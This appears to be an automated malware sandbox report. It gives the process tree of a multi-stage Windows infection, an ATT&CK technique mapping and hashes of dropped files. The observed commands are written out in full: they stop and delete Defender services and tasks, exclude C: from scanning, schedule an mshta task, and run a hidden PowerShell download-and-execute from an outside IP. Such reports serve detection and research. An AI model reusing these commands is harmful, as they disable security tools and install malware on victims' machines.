                                                            reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                                            11⤵
                                                              PID:5372
                                                            • C:\Windows\system32\sc.exe
                                                              sc stop "MsSecWfp"
                                                              11⤵
                                                              • Launches sc.exe
                                                              PID:5252
                                                            • C:\Windows\system32\sc.exe
                                                              sc delete "MsSecWfp"
                                                              11⤵
                                                              • Launches sc.exe
                                                              PID:2660
                                                            • C:\Windows\system32\reg.exe
                                                              reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                              11⤵
                                                                PID:3460
                                                              • C:\Windows\system32\sc.exe
                                                                sc stop "MsSecFlt"
                                                                11⤵
                                                                • Launches sc.exe
                                                                PID:5376
                                                              • C:\Windows\system32\sc.exe
                                                                sc delete "MsSecFlt"
                                                                11⤵
                                                                • Launches sc.exe
                                                                PID:2656
                                                              • C:\Windows\system32\reg.exe
                                                                reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                                11⤵
                                                                  PID:5576
                                                                • C:\Windows\system32\sc.exe
                                                                  sc stop "MsSecCore"
                                                                  11⤵
                                                                  • Launches sc.exe
                                                                  PID:2852
                                                                • C:\Windows\system32\sc.exe
                                                                  sc delete "MsSecCore"
                                                                  11⤵
                                                                  • Launches sc.exe
                                                                  PID:4112
                                                                • C:\Windows\system32\reg.exe
                                                                  reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                                  11⤵
                                                                    PID:4872
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                                    11⤵
                                                                      PID:1748
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                                      11⤵
                                                                        PID:3588
                                                                      • C:\Windows\system32\schtasks.exe
                                                                        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                                        11⤵
                                                                          PID:2540
                                                                        • C:\Windows\system32\schtasks.exe
                                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                                          11⤵
                                                                            PID:432
                                                                          • C:\Windows\system32\sc.exe
                                                                            sc stop ddrver
                                                                            11⤵
                                                                            • Launches sc.exe
                                                                            PID:1728
                                                                          • C:\Windows\system32\sc.exe
                                                                            sc delete ddrver
                                                                            11⤵
                                                                            • Launches sc.exe
                                                                            PID:4020
                                                                • C:\Users\Admin\AppData\Local\Temp\10479460101\b619b4c972.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\10479460101\b619b4c972.exe"
                                                                  6⤵
                                                                  • Executes dropped EXE
                                                                  • System Location Discovery: System Language Discovery
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:3096
                                                                • C:\Users\Admin\AppData\Local\Temp\10479470101\23a293d9b4.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\10479470101\23a293d9b4.exe"
                                                                  6⤵
                                                                  • Executes dropped EXE
                                                                  PID:2360
                                                                • C:\Users\Admin\AppData\Local\Temp\10479480101\mtCxnCB.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\10479480101\mtCxnCB.exe"
                                                                  6⤵
                                                                  • Executes dropped EXE
                                                                  • System Location Discovery: System Language Discovery
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:5796
                                                                • C:\Users\Admin\AppData\Local\Temp\10479490101\UZPt0hR.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\10479490101\UZPt0hR.exe"
                                                                  6⤵
                                                                  • Executes dropped EXE
                                                                  • System Location Discovery: System Language Discovery
                                                                  • Suspicious behavior: MapViewOfSection
                                                                  PID:4676
                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                    cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                                                    7⤵
                                                                      PID:1412
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                                                        8⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:3184
                                                                    • C:\Windows\system32\svchost.exe
                                                                      "C:\Windows\system32\svchost.exe"
                                                                      7⤵
                                                                      • Downloads MZ/PE file
                                                                      • Adds Run key to start application
                                                                      PID:3672
                                                                      • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                                                                        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
                                                                        8⤵
                                                                        • Executes dropped EXE
                                                                        PID:5252
                                                                      • C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
                                                                        8⤵
                                                                        • Deletes itself
                                                                        • Executes dropped EXE
                                                                        PID:3460
                                                                        • C:\Users\Admin\AppData\Local\Temp\{59e9fda4-f31e-45ce-a7ba-4de34479ff59}\16cd7d9f.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\{59e9fda4-f31e-45ce-a7ba-4de34479ff59}\16cd7d9f.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
                                                                          9⤵
                                                                          • Executes dropped EXE
                                                                          • Checks for VirtualBox DLLs, possible anti-VM trick
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:9388
                                                                          • C:\Users\Admin\AppData\Local\Temp\{71dc3a3f-e547-4a16-9d36-2ed36329f916}\d11d6c88.exe
                                                                            C:/Users/Admin/AppData/Local/Temp/{71dc3a3f-e547-4a16-9d36-2ed36329f916}/\d11d6c88.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
                                                                            10⤵
                                                                            • Drops file in Drivers directory
                                                                            • Sets service image path in registry
                                                                            • Executes dropped EXE
                                                                            • Impair Defenses: Safe Mode Boot
                                                                            • Loads dropped DLL
                                                                            • Adds Run key to start application
                                                                            • Writes to the Master Boot Record (MBR)
                                                                            • Checks for VirtualBox DLLs, possible anti-VM trick
                                                                            • System Location Discovery: System Language Discovery
                                                                            • Suspicious behavior: LoadsDriver
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:9880
                                                                  • C:\Users\Admin\AppData\Local\Temp\10479500101\n0hEgR9.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10479500101\n0hEgR9.exe"
                                                                    6⤵
                                                                    • Executes dropped EXE
                                                                    • Suspicious use of SetThreadContext
                                                                    PID:220
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                      7⤵
                                                                        PID:5384
                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                        7⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:5636
                                                                    • C:\Users\Admin\AppData\Local\Temp\10479510101\larBxd7.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\10479510101\larBxd7.exe"
                                                                      6⤵
                                                                      • Checks computer location settings
                                                                      • Executes dropped EXE
                                                                      • Drops file in Windows directory
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:3844
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
                                                                        7⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:7296
                                                                        • C:\Windows\SysWOW64\tasklist.exe
                                                                          tasklist
                                                                          8⤵
                                                                          • Enumerates processes with tasklist
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:7024
                                                                        • C:\Windows\SysWOW64\findstr.exe
                                                                          findstr /I "opssvc wrsa"
                                                                          8⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:7032
                                                                        • C:\Windows\SysWOW64\tasklist.exe
                                                                          tasklist
                                                                          8⤵
                                                                          • Enumerates processes with tasklist
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:5004
                                                                        • C:\Windows\SysWOW64\findstr.exe
                                                                          findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                                                                          8⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:5440
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd /c md 689912
                                                                          8⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:7204
                                                                        • C:\Windows\SysWOW64\extrac32.exe
                                                                          extrac32 /Y /E Exclusion.psd
                                                                          8⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:7312
                                                                        • C:\Windows\SysWOW64\findstr.exe
                                                                          findstr /V "users" Findarticles
                                                                          8⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:7760
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd /c copy /b 689912\Jordan.com + Bg + Batteries + Boss + Illustrations + Boards + Within + Pushed + Brunei + Dead 689912\Jordan.com
                                                                          8⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:7812
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd /c copy /b ..\Customized.psd + ..\Permits.psd + ..\Teeth.psd + ..\Feel.psd + ..\Nonprofit.psd + ..\Shoes.psd + ..\Bruce.psd b
                                                                          8⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:7896
                                                                        • C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
                                                                          Jordan.com b
                                                                          8⤵
                                                                          • Executes dropped EXE
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of FindShellTrayWindow
                                                                          • Suspicious use of SendNotifyMessage
                                                                          PID:7940
                                                                        • C:\Windows\SysWOW64\choice.exe
                                                                          choice /d y /t 5
                                                                          8⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:8080
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10479521121\5uMVCoG.cmd"
                                                                      6⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:6592
                                                                    • C:\Users\Admin\AppData\Local\Temp\10479530101\766ea18dfe.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\10479530101\766ea18dfe.exe"
                                                                      6⤵
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      • Suspicious use of SendNotifyMessage
                                                                      PID:8368
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c schtasks /create /tn j5EyGmajqhl /tr "mshta C:\Users\Admin\AppData\Local\Temp\9G6bkQwmN.hta" /sc minute /mo 25 /ru "Admin" /f
                                                                        7⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:8388
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /create /tn j5EyGmajqhl /tr "mshta C:\Users\Admin\AppData\Local\Temp\9G6bkQwmN.hta" /sc minute /mo 25 /ru "Admin" /f
                                                                          8⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Scheduled Task/Job: Scheduled Task
                                                                          PID:8520
                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                        mshta C:\Users\Admin\AppData\Local\Temp\9G6bkQwmN.hta
                                                                        7⤵
                                                                        • Checks computer location settings
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:8488
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'7Y48CKEH7EYQKVSEPTNWSINH2NBO0OLY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                                          8⤵
                                                                          • Blocklisted process makes network request
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Downloads MZ/PE file
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:8552
                                                                          • C:\Users\Admin\AppData\Local\Temp7Y48CKEH7EYQKVSEPTNWSINH2NBO0OLY.EXE
                                                                            "C:\Users\Admin\AppData\Local\Temp7Y48CKEH7EYQKVSEPTNWSINH2NBO0OLY.EXE"
                                                                            9⤵
                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                            • Checks BIOS information in registry
                                                                            • Executes dropped EXE
                                                                            • Identifies Wine through registry keys
                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:8796
                                                                    • C:\Users\Admin\AppData\Local\Temp\10479540101\c2d12169f8.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\10479540101\c2d12169f8.exe"
                                                                      6⤵
                                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                      • Checks BIOS information in registry
                                                                      • Executes dropped EXE
                                                                      • Identifies Wine through registry keys
                                                                      • Writes to the Master Boot Record (MBR)
                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:8988
                                                                    • C:\Users\Admin\AppData\Local\Temp\10479550101\Rm3cVPI.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\10479550101\Rm3cVPI.exe"
                                                                      6⤵
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:8580
                                                                    • C:\Users\Admin\AppData\Local\Temp\10479560101\9sWdA2p.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\10479560101\9sWdA2p.exe"
                                                                      6⤵
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:9456
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\5uMVCoG.exe
                                                            1⤵
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:1388
                                                            • C:\Users\Admin\AppData\Roaming\5uMVCoG.exe
                                                              C:\Users\Admin\AppData\Roaming\5uMVCoG.exe
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4520
                                                          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                            C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                            1⤵
                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                            • Checks BIOS information in registry
                                                            • Executes dropped EXE
                                                            • Identifies Wine through registry keys
                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:1308
                                                          • C:\Users\Admin\AppData\Roaming\5uMVCoG.exe
                                                            C:\Users\Admin\AppData\Roaming\5uMVCoG.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2336
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
                                                            1⤵
                                                              PID:5928
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
                                                              1⤵
                                                                PID:3876
                                                              • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                1⤵
                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                • Checks BIOS information in registry
                                                                • Executes dropped EXE
                                                                • Identifies Wine through registry keys
                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:1472
                                                              • C:\Users\Admin\AppData\Roaming\5uMVCoG.exe
                                                                C:\Users\Admin\AppData\Roaming\5uMVCoG.exe
                                                                1⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:8268
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\{56b801ef-b9a2-49ff-8748-2853fe811342}\b8bc2ae4-6c4f-4769-82ff-588e6fcb68aa.cmd"0
                                                                1⤵
                                                                  PID:9916

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Reconnaissance

                                                                Resource Development

                                                                Initial Access

                                                                Execution

                                                                Command and Scripting Interpreter

                                                                1
                                                                T1059

                                                                PowerShell

                                                                1
                                                                T1059.001

                                                                Scheduled Task/Job

                                                                1
                                                                T1053

                                                                Scheduled Task

                                                                1
                                                                T1053.005

                                                                System Services

                                                                2
                                                                T1569

                                                                Service Execution

                                                                2
                                                                T1569.002

                                                                Persistence

                                                                Boot or Logon Autostart Execution

                                                                2
                                                                T1547

                                                                Registry Run Keys / Startup Folder

                                                                2
                                                                T1547.001

                                                                Create or Modify System Process

                                                                3
                                                                T1543

                                                                Windows Service

                                                                3
                                                                T1543.003

                                                                Pre-OS Boot

                                                                1
                                                                T1542

                                                                Bootkit

                                                                1
                                                                T1542.003

                                                                Scheduled Task/Job

                                                                1
                                                                T1053

                                                                Scheduled Task

                                                                1
                                                                T1053.005

                                                                Privilege Escalation

                                                                Boot or Logon Autostart Execution

                                                                2
                                                                T1547

                                                                Registry Run Keys / Startup Folder

                                                                2
                                                                T1547.001

                                                                Create or Modify System Process

                                                                3
                                                                T1543

                                                                Windows Service

                                                                3
                                                                T1543.003

                                                                Scheduled Task/Job

                                                                1
                                                                T1053

                                                                Scheduled Task

                                                                1
                                                                T1053.005

                                                                Defense Evasion

                                                                File and Directory Permissions Modification

                                                                1
                                                                T1222

                                                                Impair Defenses

                                                                2
                                                                T1562

                                                                Safe Mode Boot

                                                                1
                                                                T1562.009

                                                                Modify Registry

                                                                3
                                                                T1112

                                                                Pre-OS Boot

                                                                1
                                                                T1542

                                                                Bootkit

                                                                1
                                                                T1542.003

                                                                Virtualization/Sandbox Evasion

                                                                2
                                                                T1497

                                                                Credential Access

                                                                Unsecured Credentials

                                                                1
                                                                T1552

                                                                Credentials In Files

                                                                1
                                                                T1552.001

                                                                Discovery

                                                                Process Discovery

                                                                1
                                                                T1057

                                                                Query Registry

                                                                7
                                                                T1012

                                                                System Information Discovery

                                                                5
                                                                T1082

                                                                System Location Discovery

                                                                1
                                                                T1614

                                                                System Language Discovery

                                                                1
                                                                T1614.001

                                                                Virtualization/Sandbox Evasion

                                                                2
                                                                T1497

                                                                Lateral Movement

                                                                Collection

                                                                Data from Local System

                                                                1
                                                                T1005

                                                                Command and Control

                                                                Exfiltration

                                                                Impact

                                                                Service Stop

                                                                1
                                                                T1489

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                                                                  Filesize

                                                                  1.9MB

                                                                  MD5

                                                                  bcbec32483eb43840823c4f6bd653779

                                                                  SHA1

                                                                  3b83255512c5f268d0a1cb2997b1cc9d40f4252d

                                                                  SHA256

                                                                  d8a8e71a2be6d5fafa5d49029a37751c78be7e007152859233b8020a5c258167

                                                                  SHA512

                                                                  4cb807157807c72d599305eada37e85330314e43061f9af3ab9c44839bfc945431e320adf5259b9a9ecb531368cd9ab91d047eb8874f0ce6a8d4022ed69a6408

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\5uMVCoG.exe.log
                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  fde7cc81ed0c50e7ce18702102f19ace

                                                                  SHA1

                                                                  e9f02b348fda9b22bb3999b4ebef4d366f153086

                                                                  SHA256

                                                                  00ac4add3fbf73f31bdeb249969dddc68da554c9e9383ec524d63c64dc3f4b53

                                                                  SHA512

                                                                  75bf55c4f619948f16e29f51008d026e7789eda82615f566b150d54f5769b64d7fe1a6ff8be458e2630be621c551183dfe272ce0a579024065cbc2b4b26f4bf5

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\7U2DS24N\success[1].htm
                                                                  Filesize

                                                                  1B

                                                                  MD5

                                                                  cfcd208495d565ef66e7dff9f98764da

                                                                  SHA1

                                                                  b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                                                                  SHA256

                                                                  5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                                                                  SHA512

                                                                  31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                  Filesize

                                                                  16KB

                                                                  MD5

                                                                  5a208300fe5c7640fb157982f61ca871

                                                                  SHA1

                                                                  b4ccf56dabff6670518b150ed14c5dafab8c9f8c

                                                                  SHA256

                                                                  9f45bc2672bf7572a1ec90a55537cd617cc589b5e30fe40e2187ad49807d32bf

                                                                  SHA512

                                                                  3dc76ffb3af5038e250e7d583feaabd11ea8423733d5db4066ca21e3c7f87a98aa0db622ac36ab8c518e8755180b64aab9c183bb94278327087c873bbc97b6d2

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\iauxn5db.default-release\activity-stream.discovery_stream.json
                                                                  Filesize

                                                                  23KB

                                                                  MD5

                                                                  f34822be386abc907ea996ae8eb00b0a

                                                                  SHA1

                                                                  a44a8eb4626f76af2df16f643fc23b5953dacdf9

                                                                  SHA256

                                                                  0bbddb077c9767030f0ad2a3d1261f94287f74ad3541cf132830894cbdbddb1a

                                                                  SHA512

                                                                  c290e136f48029557e5e4ff187d1d5e5e5e7f9be124cc0b44bb184df146d5c26b74d63fae7bec1803b9da0452ea4b0fd1a2a3e963e577b750077ffe217a4c45d

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\iauxn5db.default-release\cache2\entries\A585344A45AF937E3AB7D706291A9A3ED8D581D9
                                                                  Filesize

                                                                  13KB

                                                                  MD5

                                                                  413777520e13f84d74751b9816f78e23

                                                                  SHA1

                                                                  c348f31532347779f05215a73edfe7a6a07c4559

                                                                  SHA256

                                                                  b0afa016df0b5a8f61e6ec7ceac01877f2b6359d351b3e40526f7592d1ca18a2

                                                                  SHA512

                                                                  4f06dd6583c308a9f5a68c056f02a6e79ce8988c087f43b74519b50a348e6c0a58edd2c5a25a65c50dc0243c18dfd254cb56eba89526f4b4bf7367d694e97fba

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\TempYRCJWHAT4V8MYPMO95VABEA5FAQT0RSG.EXE
                                                                  Filesize

                                                                  1.8MB

                                                                  MD5

                                                                  77d901d0282c76c5974e6f98c872c528

                                                                  SHA1

                                                                  94a376e0025851b40f0b74066947ed3b8dde15b9

                                                                  SHA256

                                                                  fb30d14f550837b75c883f08644be585d1bf843248cb509739099146515c03c5

                                                                  SHA512

                                                                  6d4afc41780fa41de104c9a1a8cc4a5fed6f8f550457b20774ed235df9ae0e50f20e83c40a9a4c1b1a184b6e71031f6a574df8e74a53e1d47369381888e4cd9d

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Temp\10475710101\5uMVCoG.exe
                                                                  Filesize

                                                                  150KB

                                                                  MD5

                                                                  3dd50c0486a8bee19a3b7c230a7537fc

                                                                  SHA1

                                                                  8c00b0eba55a110921e02ebf50aa1af29fcad5b7

                                                                  SHA256

                                                                  dc39b279146b5278a94e5a8cd857bb51277087d93a990fbf12ba91f88d0e435b

                                                                  SHA512

                                                                  6b72c5a7fb7ceeaed9cc4b0da8b0d3186ed5591ab6f54cb1de1fbb3add42b5c25c408991eb28a13d5f48d36e8fa7ed8952e0ea8a3bdb5a25df0b8d9d15ff2139

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Temp\10477200101\mtCxnCB.exe
                                                                  Filesize

                                                                  2.6MB

                                                                  MD5

                                                                  ba38bbe814e2c9eb996e26fd32a06c90

                                                                  SHA1

                                                                  e38a55849e4343240993fa742cc014b413ceffd8

                                                                  SHA256

                                                                  78843066f5ff4c744ed6f349f1401346b820e996aed5ffa4565430c0f3691659

                                                                  SHA512

                                                                  f20bb793aefcb38fc955116002fec9d220c92964d41277588503198e2f3f941d0bc1323140f33fed8cd786783b89f538499824fe6f274ab2214cac9aaee80664

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Temp\10479130101\crypted.exe
                                                                  Filesize

                                                                  584KB

                                                                  MD5

                                                                  44fd76204dcaf60f12a9067ea19ff727

                                                                  SHA1

                                                                  abedd7c76ac3fbe020f3a3c9adac51936d164683

                                                                  SHA256

                                                                  09822446e89d4a19fb638ea05fe85eb6f02976aa3db8f85aa1e359a6963cec2a

                                                                  SHA512

                                                                  7ced4614615eeee053787c8df8714a5bfe39106f321233de00486c7a671855f45f844bf8b9deb21525fbc3a5a8dfb127ac9b1289cd8db69fd0214a133fe52d95

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Temp\10479390101\c2ba09e553.exe
                                                                  Filesize

                                                                  4.6MB

                                                                  MD5

                                                                  eb07fd4b0236b4c151574d7007c9622a

                                                                  SHA1

                                                                  00a074b1f5af6243d3fa4b2cdc8dd264895d8425

                                                                  SHA256

                                                                  96000869f2a3b841a56114a5468cabd7d01a7081804c292a10c91e98b3d355d6

                                                                  SHA512

                                                                  254af3c9eaa7c0b8a955f62cc00d5b2645042c63621f41ad2a044ecabaa8baad298f546bf8f2d97d573866be03a64a4e4df9b310cac3c2630726605c51b3c0fc

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Temp\10479400101\1064275d4a.exe
                                                                  Filesize

                                                                  4.3MB

                                                                  MD5

                                                                  d0309cb2726fdf85a11de1734eb33be9

                                                                  SHA1

                                                                  ac5b138962dfb9492c9397982add3de693030cc6

                                                                  SHA256

                                                                  e98936864c42dbf651a384e8dbbd69f2aedbec38e1be66a2561afc77f71bbc4b

                                                                  SHA512

                                                                  a0ab2a93226b9470368a0c201e6794a9844cf7580d09c735caaf3cd1f5e2de3cbad239310f206c261957b1d999d604a527cdf5be564a6f11dc1f69d99163b402

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Temp\10479410101\3b0904dcf7.exe
                                                                  Filesize

                                                                  956KB

                                                                  MD5

                                                                  83457e01fa40348dfee40d4832d2d09a

                                                                  SHA1

                                                                  4f4944f5923de6563e702bba00339ac4d2d70292

                                                                  SHA256

                                                                  20da0dcdfbe199c63d3ba34bbc08f5a79c8ee28ad1ae069994da6788a2aced3b

                                                                  SHA512

                                                                  e1954f4c2896f148df99937e9c59bdeb11dfcc613931423e6ea9d7fb1edbf77c042d32a8d212b9884907321671145b010310b0ca6fea0708feb690a9ff73414f

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Temp\10479420101\fb7b18f82b.exe
                                                                  Filesize

                                                                  2.0MB

                                                                  MD5

                                                                  5039c97a64570a3a115938c680b9bf1f

                                                                  SHA1

                                                                  18ef3722c9672d013cde1adb1accf0f6f307ec6f

                                                                  SHA256

                                                                  90826a1c2c06ec42ff35e4ba7a41e4844c1d7a81ed7960d86a1596e476d0940a

                                                                  SHA512

                                                                  9fb41ee560a95bbbdff261f6fee40ec20e0728b43b63064dac7a9286a038e8e00f4d56c55f408cec554c6c8855f2068e2e5a97d204c084e27ce2762808d5abde

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Temp\10479430101\520fa0d888.exe
                                                                  Filesize

                                                                  2.4MB

                                                                  MD5

                                                                  ee25e2e0d6d03d6447bf7f2a0dfa71ff

                                                                  SHA1

                                                                  7f5e9ba429b31a4bf2ecf850cf591a58ee9d6bfe

                                                                  SHA256

                                                                  6cf45a42618fec66afce99ae16af5125f54a9a89ba70a55187034b8040efb866

                                                                  SHA512

                                                                  f7946a93ab5f690f70f048fa64f6b0974ec52e3da7d0853eed96785c99be46c0896ba9075bef8ca8f5cb510ac41f7867175f78ff1bcef71a727b5aa4baf708e9

                                                                  Download Submit

                                                                • C:\Users\Admin\AppData\Local\Temp\10479440101\6f3157bcfb.exe
                                                                  Filesize

                                                                  945KB

                                                                  MD5

                                                                  1be2915c4f9702edb5536843c59914a1

                                                                  SHA1

                                                                  f478b1d34145fca947fd2011c54e63e7cc69db35

                                                                  SHA256

                                                                  e2c995fc114fcfbbc3c4f26faf3a13590a8824f5e62b9815076e4744e36f67df

                                                                  SHA512

                                                                  d1cecb05bb8fcb984d0a048f7750ec13c7c4e419498cb8c5e38f4662481b5cf00b17c3a983efd8c04dfc57ff7a8b61cda7454a81760a322c41176861904c68d7

                                                                  Download Submit

